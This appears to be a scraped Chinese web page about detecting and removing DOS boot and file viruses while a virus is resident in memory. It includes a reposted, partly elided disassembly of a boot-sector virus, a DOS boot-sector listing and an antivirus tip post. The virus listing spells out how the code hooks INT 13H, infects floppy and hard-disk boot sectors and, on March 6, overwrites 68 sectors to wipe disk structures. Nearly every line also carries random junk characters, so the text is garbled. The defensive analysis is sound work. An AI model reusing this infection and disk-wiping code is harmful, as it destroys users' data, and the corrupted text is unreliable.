近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严  峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。    
 ut<0-  ?? 
 %![%wI?  ??   一 、  带毒环境下检测清除病毒的意义    
 /M0A9ZT[  ?? 
 \!+#9sq0  ??   目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300  、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。    
 NSsLuM=.  ?? 
 UdIl5P  ??   当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。    
 z'W8t|m}Pb  ?? 
 C1x"q9|\`  ??   当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。    
 mMz^I7$  ?? 
 9AA_e
~y  ??   由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本  无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。    
 kF1Tg	KSd  ?? 
 (oftq!X2  ??   二 、带毒环境下检测清除病毒的原理            
 |8|_^`  ?? 
 L"_l(<g  ??   对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。
 oy;g;dtq  ??   引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。
 rt_k }           A ;06Zrf1   2	SJN;A~}  举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析           作者:sinister "
 c,v?2*<   病毒体: 
 !xIK<H{*  JMP 01AF ;JMP到01AF 
 J&B>"s,   DB 00 ;病毒标计 
 prdlV)LTpY  DW 00F5 ;此为搬到高位址后,远程跳转指令 
 l{2Y[&%  DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX 
 RF#S=X6  DB 02 
 6*{sZMG  DW 0003 ;此为软盘识别标记,硬盘为0007 
 3eg)O34  DW EC59 ; 
 Wubvvm8U  DW F000 ;INT 13H的原入口 
 "-WEUz  . 
 Bb~Q]V=x;  . 
 4YT d  . 
 ;	qQ*	p  . 
 ^#V7\;v$G  . 
 JKXb$  XOR AX,AX ;清除AX 
 mh4<.6>5  MOV DS,AX; ;让DS=0000 
 8iB}gHe9  CLI ;清I标志积存器 
 N084k}io  MOV SS,AX ;把堆栈设为0000:7C00也就是开机 
 Xf"B\%,(`  MOV AX,7C00 ;后载入引导分区表的地址,目前地址 
 THOXs;
k0  MOV SP,AX ;开机时为0000:7CB6 
 0m,3''Q5lO  STI ;设I标志积存器 
 77]6_  PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A 
 S260h,(,  PUSH AX ;用RETF,把程序转到引导或分区表位置 
 3YFbT
Z  MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 
 2fa1jl  MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 
 DJ!<:9FD  MOV AX,[004E] ;取INT 13H的段地址 
 ++d%D9*V<  MOV [7C0C],AX ;存到010C 
  &nRbI:R  ;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 
 v
J_1VW  ;读写以便传播发作 
 q[wVC
h   kdam]L:9  MOV AX,[0413] ;取得内存K数,放在AX 
 _wY<8	F*  DEC AX ; 
 S,*  DEC AX ;减2k内存 
 kwM1f=!-  MOV [0413],AX ;存回,通常是638K 
 ZQVr]/W^r  MOV CL,06 ; 
 }OJ,<!v2pc  SHL AX,CL ; 
 =Qf.  MOV ES,AX ;算出减2K后病毒本体的位址 
 2JMMNpya   MOV [7C05],AX ;AX存入0105 
 vhEXtjL   HgY> M`U  ;病毒常用手法将系统高段内存减少以便驻留 
 Mq#sSBE<K  ;这样可以免于被其他程序覆盖 
 l)d(N7HME   K,$Ro@!  MOV AX,000E ;病毒拦INT 13H 
 5LF#w_x  ;ISR起始的偏移量 
 [%1	87dz:D  MOV [004C],AX ; 
 0C,2gcq  MOV [004E],ES ;设原为病毒的INT 13H 
 M?nYplC  MOV CX,01BE ;病毒长度为1BE 
 ,~TV/l<  MOV SI,7C00 ;从JMP 01AF开始 
 3lw8%QD>  XOR DI,DI ;DI=0 
 c:@lR/oe"  CLD ;清方向标志 
 8etNS~^   REPZ; 
  !e0OGf  MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 
 Jq1^}1P	  CS: ;分区表能载入0000:7C00正常运作 
 9[9
ZI1*s  JMP FAR [7C03] ;跳到为搬过后的位址 
 MIn6p  XOR AX,AX ;清AX 
 aOOkC&%  MOV ES,AX ;ES=0000 
 	(H*EZ  INT 13 ;复位磁盘 
 d*===~  PUSH CS ; 
 ?S~@Ea8/M  POP DS ;让DS=CS 
 "L)=Y7Dx  MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 
 kuZs30^  MOV BX,7C00 ;读到0000:7C00 
 ]6*+i $  MOV CX,[0008] ;硬盘第0道,第7扇区 
 ,5
A&  CMP CX,+07 ;比较是否从硬盘启动 
 B S^P&TR!  JNZ 0213 ;不是跳0213 
 WS7a]~3'  MOV DX,0080 ;第一硬盘C:第零面 
 4b}94e@(N  INT 13 ;用INT 13号中断,读 
 S*D Bzl  JMP 023E ;跳023E比较日期,发作或正常开机 
 $.g)%#h:  MOV CX,[0008] ;软盘0道,第3扇区 
 +Y9n@`  MOV DX,0100 ;A:的第0面 
 #6'+e35^ 8  INT 13 ;INT 13读盘 
 ;"1  JB 023E ;失败跳023E 
 br[n5  PUSH CS 
 ~t,-y*=  POPES ;让ES=CS 
 g3h:oQCS  MOV AX,0201 ; 
 ]CnqPLqL  MOV BX,0200 ; 
 -:P`Rln  MOV CX,0001 ; 
 E979qKl  MOV DX,0080 ; 
 $YPQi.  INT 13 ;读入C:的分区表到0200,以便下面比较 
  x392uS$#  JB 023E ;失败跳023E 
 jWX^h^n7K  XOR SI,SI ;清SI 
 :8CYTEc  CLD ;清方向标志以便比较 
 D$vP&7pOr4  LODSW ;载入一个WORD到AX 
 \U\k$ (  CMP AX,[BX] ;比较有无病毒存在..E9AC 
 7Gs0DwV  JNZ 0287 ;没有则跳0287传染 
 ;/-X;!a>  LODSW ;载入一个WORD到AX 
 K;NaiRP#k  CMP AX,[BX+02] ;再次确认..0000 
 N	=0R6{'  JNZ 0287 ;没有跳0287 
 H"n@=DMLm  XOR CX,CX ;清CX 
 'a6:3*  MOV AH,04 ; 
 $1ZFkw  INT 1A ;取得日期 
 *qN(_  CMP DX,0306 ;是否为三月六日 
 uA1DTr?z  JZ 024B ;是跳024B传染 
 @0qDhv	s  RETF ;把程序交还给引导启动完成 
 4hLv"R.   /qeSR3WC  步骤4:病毒INT 13代码分析 
 0D=7Mef  方法:U 
 =I6u*$9<  PUSH DS ;首先把要用到积存器 
 ywl7bU-f  PUSH AX ;入栈保存 
 g0&Rl  OR DL,DL ;比较是否为软盘 
 n@e[5f9?x  JNZ 002F ;如不是则退出传染 
 ,iYKtS3  XOR AX,AX ;AX=0 
 Fu/{*4  MOV DS,AX ;数据代段=0 
 =JK# "'  TEST BYTE PTR [043F],01 ;比较是否为A盘 
 8ba*:sb  JNZ 002F ;不是则退出 
 (+=TKI<=  POP AX ;将以上保存积存器 
 ;xl_9Ht/   POP DS ;弹栈恢复 
 noLb  PUSHF ;压栈标志积存器 
 !P"=57d}"l  CS: ;以便执行原INT 13 
 zm9_[0  CALL FAR [000A] ;执行原INT 13 
 `
g5S  PUSHF ;再次压栈 
 mm@)uV<\  CALL 0036 ;以便跳转到传染程序 
 zr1,A#BV  POPF ;跳转到执行传染 
 uV'w0`$y  RETF 0002 ;结束中断调用返回 
 <Ky6|&!  POP AX ;恢复 
 J@4,@+X  POP DS ;堆栈 
 HbUadPr  CS: ;跳转到原正常INT 13 
 $S(q;Y
  JMP FAR [000A] ;地址执行 
 ]L?DV3N   (!iGQj(m   ;此段代码中展现了病毒常用手法,利用标志积存器做跳转 
 rQ!X   p#T^o]+  步骤5:传染过程分析 
 "v9i;Ba>+  方法:U 
 YJ[Jo3M@j0  对软盘传染过程: 
 c~=yD:$  PUSH AX ;工 
 7lJs{$
P  PUSH BX ;作 
 R8K?!Z  PUSH CX ;寄 
 ~H+W[r}  PUSH DX ;存 
 S}T*g UO  PUSH DS ;器 
 OlJkyL8|  PUSH ES ;入 
 zV<vwIUrr  PUSH SI ;栈 
 Dqu][~oQ  PUSH DI ;保存 
 LmA	I vEr  PUSH CS ;以压/弹栈方式 
 1X45~  POP DS ;使数据段DS和 
 SA'c}gP  PUSH CS ;附加段ES均指向 
 oO8opS7F  POP ES ;代码段CS 
 .^}
vDA  MOV SI,0004 ;试4次 
 4CdST3  MOV AX,0201 ;设置各 
 |n_es)A  MOV BX,0200 ;积存器 
 ^^m3
11=  MOV CX,0001 ;为读软盘 
 k"V@9q;*  XOR DX,DX ;引导扇区做准备 
 #VA8a=t  PUSHF ;压栈标志积存器 
 *G,'V,?  CALL FAR [000A] ;正常的INT 13调用 
 z#|#Cq`VG  JNB 0063 ;成功则转判断 
 ncy? w
e  XOR AX,AX ;不成功复位 
 uSRvc0R\  PUSHF ;磁盘继续读 
 'J=knjAT  CALL FAR [000A] ;如果4次 
 CaV>\E)  DEC SI ;均匀不成功 
 #FHyP1uyc  JNZ 0045 ;则退出跳转 
 PM
A61g  JMP 00A6 ;退出传染 
 s,2gd'  XOR SI,SI ;SI=0以便用 
 =IkG;gg  CLD ;LODSW读入软盘 
 DwLl}{r'  LODSW ;第1或第2字进行比较 
 sJHN4  CMP AX,[BX] ;比较如果不包含病毒标志 
 Fm3f/]>k#_  JNZ 0071 ;则跳转写传染 
 6x_tX  LODSW ;如果已有标志 
 [Tq\K ^!^  CMP AX,[BX+02] ;则退出 
 VIi/=mO]  JZ 00A6 ;传染子程序 
 
,	7kS#`P  MOV AX,0301 ;为写盘准备 
 \;%DDw  MOV DH,01 ;如果是360K 
 UFED*al#  MOV CL,03 ;则写到1面0道3扇区 
 !UV/p"CfX  CMP BYTE PTR [BX+15],FD ;比较软盘 
 )&$Zt(	  JZ 0080 ;如果大于360K 
 "
~X;u8m  MOV CL,0E ;写到1面0道14扇区 
 vMQvq9T}  MOV [0008],CX ;写病毒标志到软盘 
 > 10pk  PUSHF ;调用原INT 13 
 .vbUv3NI  CALL FAR [000A] ;进行传染 
 p7YfOUo
k  JB 00A6 
 51\N+  MOV SI,03BE ;以下是将正常 
 ]("5O	V5  MOV DI,01BE ;引导扇区从 
 wv ~?<DF  MOV CX,0021 ;1BE起的21字节内容 
 yye(^  CLD ;搬移到病毒程序尾部 
 W,[b:[~v  REPZ ;开始复制 
 B9-Nb 4  MOVSW 
 )^ky	@V  MOV AX,0301 ;写盘功能调用,写一个扇区 
 L<	gp "e  XOR BX,BX ;将病毒程序 
 ).Ei:/*j  MOV CX,0001 ;写入软盘引导扇区内 
 
.LX8ko  XOR DX,DX ;设置为软盘 
 yM8<)6=  PUSHF 
 J3$Ce%<	  CALL FAR [000A] ;执行正常INT 13调用写盘 
 KP[H&4eoC  POP DI ;将 
 #Ang8O@y  POP SI ;工 
 #O
|Z\|n  POP ES ;作 
 Fk 5;  POP DS ;寄 
  U/|H%b  POP DX ;存 
 u7Xr!d+wR  POP CX ;器 
 #78P_{#!  POP BX ;退 
 s|1BqoE  POP AX ;栈 
 t[.wx.y&0  RET ;返回调用处 
 N`DLIv8i;  对硬盘传染过程: 
 ?B&@
  MOV CX,0007 ;第7扇区 
 --~m{qmy  MOV [0008],CX ;此处为硬盘引导标记 
 ly{Q>MBM  MOV AX,301 ;写功能调用 
 0F\e*{gc  MOV DX,0080 ;设置为硬盘 
 @"`{gdB$	  INT 13 ;将正常引导扇区写到0面0道7扇区内 
 2`o}neF{  JB 13E ;失败则转 
 J01Y%W  MOV SI,03BE ;原分区表地址 
 #e!4njdM  MOV DI,01BE ;目标地址 
 &d`z|Gx9  MOV CX,0021 ;整个分区表 
 wK7wu.  REPNZ 
 :jFKTG 
  MOVSW ;开始复制 
 !"dbK'jb^  ;此段代码是将硬盘分区信息,搬移到病毒程序尾部 
 SQZUkKfb  ;这样在分析着查看硬盘分区信息时仍能看到该部分 
 -%U	15W;  ;内容,以次来麻痹分析者 
  %	1+\N  MOV AX,0301 ;准备写病毒提进硬盘 
 iE|qU_2Y  XOR BX,BX ;病毒体位置 
 S!<1CFh  INC CL ;第一扇区 
  =.]>,N`C  INT 13 ;开始写盘传染 
 ww]^H$In  JMP 013E ;转到13E处判断是否为3月6日,是则发作 
 G2nL#l~@)   B~_='0Gm[  步骤6:破坏过程分析 
 ;gh#8JkI  方法:U 
 G*;}6	bj|?  主要分析对硬盘数据破坏: 
 tv)U 7K0
  . 
 -bamNw>|   . 
 MBbycI,  . 
 tp3>aNj  . 
 b,U3b})(  . 
 M=n_;3,o  MOV DL,80 
 9\/T	#EP  MOV BYTE PTR[0007],04 
 @[qGoai  ;准备写硬盘 
 Q/%(&4>'y  MOV AL,11 ;写17个扇区 
 EzDj,!!<w  MOV BX,5000 
 `J>76WN  MOV ES,BX ;从内存ES:5000中处开始写 
 lD8&*5tDmP  INT 13 ;残不人睹 
 5PJB<M_m:  JNB 0179 ;成功转179继续写 
 &?@gUk74"  XOR AH,AH 
 6;lJs,I1w{  INT 13 ;不成功复位磁盘继续 
 +G!N@O  INC DH ;使写操作磁头加1继续? 
 r~sx]=/  CMP DH,[0007] ;比较是否小于0007单元值 
 m})q8b!S  JB 0150 ;是则返回开始处继续写 
 %G<!&E!0h  XOR DH,DH ;DH=0 
  0 gyg  INC CH ;再加扇区 
 +P7A`{Ae  JMP 0150 ;反回继续写 
 _)7dy2%{q  ;以上操作实际上是对硬盘执行4次写操作,每次17个扇区 
 ;BEg"cm  ;共68个扇区,这样就完全破坏了盘中的引导扇区,根目录 
 m\h/D7zg  ;和文件分配表。 
 xb!h?F&   (O
N
\-*  引导扇区病毒,俺手里没有,这是一段DOS BOOT的分析。BOOT区病毒和他完成同样的工作,只不过每次 
 ,_ XDCu	@  读盘的时将自身写入磁盘。 
 UXXN\D  引导过程如下: 
 uhuwQS=X  1>调整堆栈位置 
 ZD9UE3-  2>修改并用修改后的磁盘参数表来复位磁盘系统 
 ~h~K"GbC?  3>计算根目录表的首扇区的位置及IO.SYS的扇区位置 
 Fr}e-a  4>读入根目录表的首扇区 
 H?M#7K~[  5>检查根目录表的开头两项是否为IO.SYS及MSDOS.SYS 
 AQ!FJ(X(  6>将IO.SYS文件开头三个扇区读入内存0000:0700H处 
 'oZ/fUl|7  7>跳到0000:0700H处执行IO.SYS,引导完毕 
 ({	7tp!@  003E FA CLI 
 DR o@gYDn  003F 33C0 XOR AX,AX 
 y&0&K4aa  0041 8ED0 MOV SS,AX 
 uA?_\z?  0041 8ED0 MOV SS,AX 
  #rZk&q  0043 BC007C MOV SP,7C00 ; 初始化堆栈 
 Tr1#=&N0  0046 16 PUSH SS 
 yqF$J"=|  0047 07 POP ES ;(ES)=0000H 
 nb:J"  0048 BB7800 MOV BX,0078 ;1EH 号中断向量的地址为0000:0078H 
 JTw'ecFev  004B 36 SS: ;(SS)=0000H 
 zX-6]j;  004C C537 LDS SI,[BX] ;取1EH号中断向量的内容存入DS:SI 
 S8O^^jJq;  004E 1E PUSH DS ;该中断向量指向一个11字节的磁盘参数表 
 .wrNRU7s  004F 56 PUSH SI ;取到后压入堆栈中保存 
 =a`l1zn8=  0050 16 PUSH SS 
 `eIX*R  0051 53 PUSH BX ;保存地址0000:0078H 
 `A.!<bO)]  0052 BF3E7C MOV DI,7C3E ;7C3E-7C00=003EH,即偏移003EH,以下类推 
 f:k3j}&  0055 B90B00 MOV CX,000B ;磁盘参数表共11字节 
 5#zwdoQ  0058 FC CLD 
 g1Q^x/  0059 F3 REPZ 
 G4Zs(:a  005A A4 MOVSB ;将磁盘参数表复制到0000:7C3EH处 
 !8"516!d|p  005B 06 PUSH ES 
 
H}NW?  005C 1F POP DS ;(DS)=0000H 
 C7(kV{h$d  005D C645FE0F MOV BYTE PTR [DI-02],0F ;修改参数表中"磁头定位时间" 
 j:%~:  0061 8B0E187C MOV CX,[7C18] ;从BPB中取"每磁道扇区数" 
 @L%9NqE`O  0065 884DF9 MOV [DI-07],CL ;修改参数表中"每磁道扇区数" 
 R|T_9/#)  0068 894702 MOV [BX+02],AX ;(AX)=0000H,修改1EH号中断向量(段址) 
 M%wj6!5  006B C7073E7C MOV WORD PTR [BX],7C3E ;修改1EH号中断向量(偏移),这样1EH号 
 '|0Dt|$  006F FB STI ;中断向量的内容为0000:7C3EH,指向新的磁盘参数表 
 *M_.>".P  0070 CD13 INT 13 ;用新的磁盘参数表来复位磁盘 
 P-L<D!25  0072 7279 JB 00ED ;出错则转出错处理 
 p6(n\eg R   6&=xu|M<x=  ; 下面一段程序计算扇区位置 
 ]@o p  0074 33C0 XOR AX,AX 
 (9h{7<wD`  0076 3906137C CMP [7C13],AX ;偏移0013H处是Dos分区的总扇区数 
 fW Vd[zuD4  007A 7408 JZ 0084 ;为零表示大硬盘? 
 VT1W#@`e-  007C 8B0E137C MOV CX,[7C13] ;不为0则取出来放到偏移0020H处 
 q P@4KH}e  0080 890E207C MOV [7C20],CX ;这个值本程序未用,似乎为IO.SYS准备的 
 DJeP]  0084 A0107C MOV AL,[7C10] ;取FAT表的个数 
 oJK]oVX9i  0087 F726167C MUL WORD PTR [7C16] ;乘以一个FAT表所占的扇区数 
 5=g{%X  008B 03061C7C ADD AX,[7C1C] ;加上Dos分区前的扇区数(隐藏扇数,低位) 
 G 3P3  008F 13161E7C ADC DX,[7C1E] ; 高位 
 H#8]Lb@@:  0093 03060E7C ADD AX,[7C0E] ;加上Dos分区内的保留扇区数(低位) 
 4A%O`&eZ  0097 83D200 ADC DX,+00 ; (高位) 
 ,jyNV<dI  009A A3507C MOV [7C50],AX ;根目录表的首扇的逻辑扇区号(低位) 
 YMG{xGPtM  009D 8916527C MOV [7C52],DX ; (高位) 
 22L#\qVkl  00A1 A3497C MOV [7C49],AX ;此处放IO.SYS的首扇的逻辑扇区号(低位) 
 XF1x*zc  00A4 89164B7C MOV [7C4B],DX ; (高位) 
 0X\,!FL  00A8 B82000 MOV AX,0020 ;根目录表中每项占32字节 
 >2gemTy  00AB F726117C MUL WORD PTR [7C11] ;乘以根目录表中的项数 
 vN%zk(?T  00AF 8B1E0B7C MOV BX,[7C0B] ;取"每扇区的字节数" 
 n
5NkjhP~Z  00B3 03C3 ADD AX,BX ;这两条指令是为了取整 
 )<
 ~1AL  00B5 48 DEC AX 
 OGNjn9av  00B6 F7F3 DIV BX ;除以每扇字节数,得到根目录所占扇区数 
 rMqWXGl`(  00B8 0106497C ADD [7C49],AX ;得到根目录表后首扇的逻辑扇区号(低位) 
 :N#gNtC)b  00BC 83164B7C00 ADC WORD PTR [7C4B],+00 ; (高位) 
 ;JpU4W2/  ;下面一段程序在根目录表中找系统文件IO.SYS和MSDOS.SYS 
 wobTT1!|  00C1 BB0005 MOV BX,0500 ;内存缓冲区的偏移值 
 9rX[z :  00C4 8B16527C MOV DX,[7C52] ;取根目录表的首扇的逻辑扇区号(高位) 
 z3b8  00C8 A1507C MOV AX,[7C50] ; (低位) 
 }io9Hk>|  00CB E89200 CALL 0160 ;将逻辑扇区号转换为物理扇区号 
 "4LYqDe  00CE 721D JB 00ED ;出错则转出错处理 
 xtKWh`[&  00D0 B001 MOV AL,01 
 3ug{1M3  00D2 E8AC00 CALL 0181 ;读一个扇区到内存(根目录的首扇) 
 TuphCu+Oh  00D5 7216 JB 00ED ;出错处理 
 4YkH;!M>ji  00D7 8BFB MOV DI,BX ;内存缓冲区的首址 
 {4&G\2<^^  00D9 B90B00 MOV CX,000B ;比较11个字节 
 @B$	Y`eK\  00DC BEE67D MOV SI,7DE6 ;偏移01E6处是串"IO SYS",长11字节 
 E7+y
W  00DF F3 REPZ 
 *5	FSq  00E0 A6 CMPSB ;看第一项是否为IO.SYS 
 pB{QO4qn  00E1 750A JNZ 00ED ;不是则出错 
 z2og&|uT  00E3 8D7F20 LEA DI,[BX+20] ;跳过32字节就指向第二项 
 pYJv|`+  00E6 B90B00 MOV CX,000B ;比较11个字节 
 &C3J6uCm+  00E9 F3 REPZ 
 /reSU	2  00EA A6 CMPSB ;看第二项是否为MSDOS.SYS 
 i\G@ kJNnF  00EB 7418 JZ 0105 ;是则两个文件都已找到,跳过出错处理 
 6q?C"\_   GVZ/`^ndM  ;下面一段进行出错处理 
 |_aE~_  00ED BE9E7D MOV SI,7D9E ;偏移019EH处是串"Non system disk..." 
 z6bTcs"7h  00F0 E85F00 CALL 0152 ;显示字符串 
 eKpH|S!xU  00F3 33C0 XOR AX,AX 
 yNAvXkp  00F5 CD16 INT 16 ;等待任一键按下 
 XU.ZYYZ=  00F7 5E POP SI 
 38Lc|w  00F8 1F POP DS ;得到1EH号中断向量的地址0000:0078H 
 Zb`}/%\7  00F9 8F04 POP [SI] 
 w:Fes  00FB 8F4402 POP [SI+02] ;恢复1EH号中断向量的内容 
 qt+vmi+~  00FE CD19 INT 19 ;自举 
 kRnh20I  0100 58 POP AX 
 $lci{D32,  0101 58 POP AX 
 7ZS5u+o  0102 58 POP AX ;清理堆栈 
 M)6_Tal  0103 EBE8 JMP 00ED ;再次试图起动 
 ,T_HE3 K   =35^k-VS  ;下面读入IO.SYS的头3个扇区到内存0000:0700H处 
 	VB*$lxX  0105 8B471A MOV AX,[BX+1A] ;从根目录表第一项中取IO.SYS的首簇号 
 zl46E~"]x  0108 48 DEC AX 
 y[S5  0109 48 DEC AX ;首簇号减二 
 [#n~ L6  010A 8A1E0D7C MOV BL,[7C0D] ;取每簇的扇区数 
 2(LS<HqP[  010E 32FF XOR BH,BH 
 NFPW#-TF  0110 F7E3 MUL BX ;(首簇号 - 2)乘以 每簇的扇区数 
 @!^c@  0112 0306497C ADD AX,[7C49] ;相加后得到IO.SYS的首扇的逻辑扇区号 
 I(/W+o  0116 13164B7C ADC DX,[7C4B] 
 -O3^q.  011A BB0007 MOV BX,0700 ;内存缓冲区的偏移值 
 r#rQ3&Vn  011D B90300 MOV CX,0003 ;循环计数初值,读3个扇区 
 #b 	[]-L!  0120 50 PUSH AX ;逻辑扇区号进栈(低位) 
 ?)-*&1cv  0121 52 PUSH DX ; (高位) 
 eh	nN  0122 51 PUSH CX ;循环计数器进栈 
 (7`&5md  0123 E83A00 CALL 0160 ;逻辑扇区号转换为物理扇区号 
 4p&qH	igG  0126 72D8 JB 0100 ;出错处理 
 }u5;YNmXxF  0128 B001 MOV AL,01 
 #\iQ`Q<B  012A E85400 CALL 0181 ;读一个扇区到内存缓冲区 
 u&".kk  012D 59 POP CX ;循环计数出栈 
 |vA3+kG  012E 5A POP DX 
 
T5,/;e  012F 58 POP AX ;逻辑扇区号出栈 
 <r.f ?chf  0130 72BB JB 00ED ;读盘出错处理 
 iSo+6gu  0132 050100 ADD AX,0001 
 e2;19bj&  0135 83D200 ADC DX,+00 ;下一个扇区 
 Ua\g*Cxh  0138 031E0B7C ADD BX,[7C0B] ;缓冲区指针移动一个扇区的大小 
 2pH2s\r<UJ  013C E2E2 LOOP 0120 ;循环读入三个扇区 
 3Z NYR'  013E 8A2E157C MOV CH,[7C15] ;取"磁盘介质描述",传给IO.SYS 
 ):jKsP
,  0142 8A16247C MOV DL,[7C24] ;取"系统文件所在的驱动器号" 
 GIsXv	2  0146 8B1E497C MOV BX,[7C49] ;取IO.SYS的首扇的逻辑扇区号 
 e`'O!  014A A14B7C MOV AX,[7C4B] 
 jE2k\\<a  014D EA00007000 JMP 0070:0000 ;执行IO.SYS,引导完毕 
 &CF74AN#  ;显示字符串的子程序 
 PX52a[wNDH  0152 AC LODSB ;从串中取一个字符 
 "EF:+gi#"  0153 0AC0 OR AL,AL 
  A1Mr  0155 7429 JZ 0180 ;为0则已到串尾,返回(共用RET指令) 
 &G5+bUF,  0157 B40E MOV AH,0E 
 )7c\wAs  0159 BB0700 MOV BX,0007 
 Q<P],}?:  015C CD10 INT 10 ;显示该字符 
 d4/snvq  015E EBF2 JMP 0152 ;循环显示下一个 
 yC4JYF]JN  ;将逻辑扇区号转换为物理扇区号的子程序 
 I,QJ/sI  0160 3B16187C CMP DX,[7C18] ;这两条指令是为了避免第二次除法时除数 
 @~'c(+<3  0164 7319 JNB 017F ;为0 
 8Z:NT_Ss  0166 F736187C DIV WORD PTR [7C18] ;逻辑扇取号除以每道扇区数,商(AX)=总磁 
 uu1-` !%  016A FEC2 INC DL ;道数,余数(DX)再加一即为扇区号,因为扇 
 <_8\}!  016C 88164F7C MOV [7C4F],DL ;区号是从1开始的,而不是从0开始 
 37x2fnC  0170 33D2 XOR DX,DX 
 d"uR1rTk  0172 F7361A7C DIV WORD PTR [7C1A] ;总磁道数(AX)再除以面数,所得的 
 CT3wd?)z`  0176 8816257C MOV [7C25],DL ;余数(DX)=面号(即磁头号) 
 .RH}/D  017A A34D7C MOV [7C4D],AX ;商(AX)=磁道号 
 -7TT6+H)  017D F8 CLC 
 1\{0z3P  017E C3 RET ;正常返回 
 'wvZnb  017F F9 STC 
 1wuLw Ad  0180 C3 RET ;异常返回 
 !0`44Gbq  ;读一个扇区的子程序 
 9s6,	&'  0181 B402 MOV AH,02 ;读功能调用 
 Xoml   0183 8B164D7C MOV DX,[7C4D] ;需要的入口参数如下: 
 52/^>=t  0187 B106 MOV CL,06 ;(DL)=驱动器号 
 "d/x`Dx  0189 D2E6 SHL DH,CL ;(DH)=面号 
 g&O%qX-  018B 0A364F7C OR DH,[7C4F] ;(CH)=磁道号 
 5R?iTB1,  018F 8BCA MOV CX,DX ;(CL)=扇区号(第6,7位为磁道号的高2位) 
 G<9MbMG  0191 86E9 XCHG CH,CL ;(AL)=要读的扇区数 
 ,*?bET
$  0193 8A16247C MOV DL,[7C24] ;(ES:BX)=缓冲区首址 
 k]`I3>/L  0197 8A36257C MOV DH,[7C25] 
 Sb> ;k(;`:  019B CD13 INT 13 
 .1.n{4z>:  019D C3 RET 
 + B%fp*  9x下的主引导/引导扇区没大区别,为了识别大分区用了一个INT 13的扩展调用42H。
 nYY@+%`]z   \gki!!HQ      ?? 
 Nj*J~&6G  ??   既然病毒是通过接管中断来获取传染和破坏的机会,那么我们是否有办法找回被病毒接管的中断 服务程序的地址,从而杀毒软件可以直接调用原中断,避免激活病毒? 笔者认为这是可能的,因为病毒在接管中断后,一般只对读写操作 、文件操作和执行等子功能调用感兴趣,对于其他一些功能调用,病毒只是简单地调用原中断服务程序进行处理,并通常使用下列指令进行调用:    
 3X89mIDr  ??   jmp xxxx:xxxx 
 &Ph@uZ\  ??   call xxxx:xxxx 
 B-|:l7
          jmp far ptr cs:[xxxx] 
 Ex^7`-2,B          call far ptr cs:[xxxx] 
 #JYv1F  ?? 
 %L}9nc%~eP  ??   以INT21H为例,我们可以调用取DOS版本号的子功能3306H,对整个调用过程进行单步跟踪,并假设病毒驻留的段地址与INT21H原中断段地址是不同的,如果调用过程中CS发生改变,我们把每次CS改变后 执行的第一条指令的地址都记录下来,那么INT21H原来的中断地址也必定在其中。    
 4Wk/^*?  ?? 
 #q9jFW8  ??   但记录的地址不止一个,究竟哪个是我们所要找的呢?这里我们可以假设病毒在调原中断服务程序时把各个寄存器(指AX、BX、CX、DX 、SI、DI、DS、ES)都设置成我们调用时所设置的值,同时真正的中断服务程序返回时又会改变寄存器的值,这个假设在绝大多数情况下都是正确的,从该假设出发,只需在各个寄存器值有改变的情况下,记录下每次CS改变后的第一条指令的地址,那么在中断返回后,记录中的最近一个地址就是所需找的原中断地址。需要指出的是,如果内存中还有其他驻留程序也接管了INT21H所找到的地址同样绕过了这些驻留程序。   
 |L.QIr,jCC  --------------------------------------------------------------------------------
 `Q<hL {AH  作者: 网络虫虫    时间: 2004-5-28 10:02     标题: [杀毒请注意]新老朋友请阅反病毒技巧 敬请补充指正
 {tk42}8k   IX']s;b  发现病毒,但是无论在安全模式还是Windows下都无法清除怎么办?
 D&0*+6j((   <`9Q{~*=t  由于某些目录和文件的特殊性,无法直接清除(包括安全模式下杀毒等一些方式杀毒),而需要某些特殊手段清除的带毒文件。以下所说的目录均包含其下面的子目录。 
 :R{Xd{?  1、带毒文件在\Temporary Internet Files目录下。 
 HZ5*PXg~  由于这个目录下的文件,Windows会对此有一定的保护作用(未经证实)。所以对这个目录下的带毒文件即使在安全模式下也不能进行清除,对于这种情况,请先关闭其他一些程序软件,然后打开IE,选择IE工具栏中的"工具"\"Internet选项",选择"删除文件"删除即可,如果有提示"删除所有脱机内容",也请选上一并删除。 
